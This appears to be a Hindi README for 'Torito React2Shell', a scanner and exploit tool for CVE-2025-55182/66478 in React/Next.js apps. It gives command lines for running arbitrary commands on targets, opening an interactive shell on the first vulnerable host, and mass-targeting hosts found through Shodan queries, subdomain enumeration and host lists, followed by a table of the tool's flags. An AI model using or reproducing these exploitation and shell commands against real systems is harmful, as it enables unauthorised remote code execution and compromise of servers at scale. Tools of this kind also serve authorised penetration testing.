
Torito React2Shell स्कैनर और एक्सप्लॉइट टूल (CVE-2025-55182 / 66478)
pip install -r requirements.txtPATH में होनी चाहिए --subfinder के लिए (Homebrew brew install subfinder या Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest के माध्यम से स्थापित करें; प्रोजेक्ट: https://github.com/projectdiscovery/subfinder)pip install shodan आवश्यक है (पहले से आवश्यकताओं में है) और एक कुंजी: export SHODAN_API_KEY=... उपलब्ध क्वेरी क्रेडिट के साथpython3 torito_r2s.py --help
सुरक्षित जांच (एकल लक्ष्य)
python3 torito_r2s.py -u https://target.com
PoC पुष्टि (साइड-चैनल रीडायरेक्ट)
python3 torito_r2s.py -u https://target.com --confirm
कस्टम कमांड के साथ शोषण
python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"
पहली हिट पर इंटरैक्टिव शैल
python3 torito_r2s.py -u https://target.com --shell
निर्यात के साथ सूची स्कैन
python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv
केवल Shodan (कुंजी और क्रेडिट आवश्यक)
export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm
केवल Subfinder
python3 torito_r2s.py --subfinder target.com --confirm
प्रॉक्सी (Burp/Caido)
python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm
stdin के माध्यम से पाइपलाइन
cat urls.txt | python3 torito_r2s.py --confirm
--exploit-cmd या --shell के साथ निष्पादित होता है।| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|
-u, --url URL | एकल लक्ष्य URL | — |
-l, --list FILE | लक्ष्यों वाली फ़ाइल (एक प्रति पंक्ति) | — |
--subfinder DOMAIN | डोमेन के लिए subfinder चलाएं और परिणाम जोड़ें | — |
--shodan QUERY | Shodan खोज (SHODAN_API_KEY क्रेडिट सहित आवश्यक है) | — |
--shodan-limit N | प्रति क्वेरी अधिकतम Shodan परिणाम | 100 |
-t, --threads N | समवर्तीता | 20 |
--timeout SEC | अनुरोध टाइमआउट | 10 |
--proxy URL | HTTP/HTTPS प्रॉक्सी | — |
--confirm | जांच के बाद रीडायरेक्ट-आधारित PoC चलाएं | off |
--exploit-cmd "CMD" | कमांड के साथ RCE पेलोड चलाएं | — |
--shell, -i | पहली शोषण सफलता पर इंटरैक्टिव शैल खोलें (डिफ़ॉल्ट cmd id होता है) | off |
--json-out FILE | JSON परिणाम सहेजें | — |
--csv-out FILE | CSV परिणाम सहेजें | — |
-v, --verbose | टेबल में डीकोड किए गए आउटपुट/डाइजेस्ट दिखाएं | off |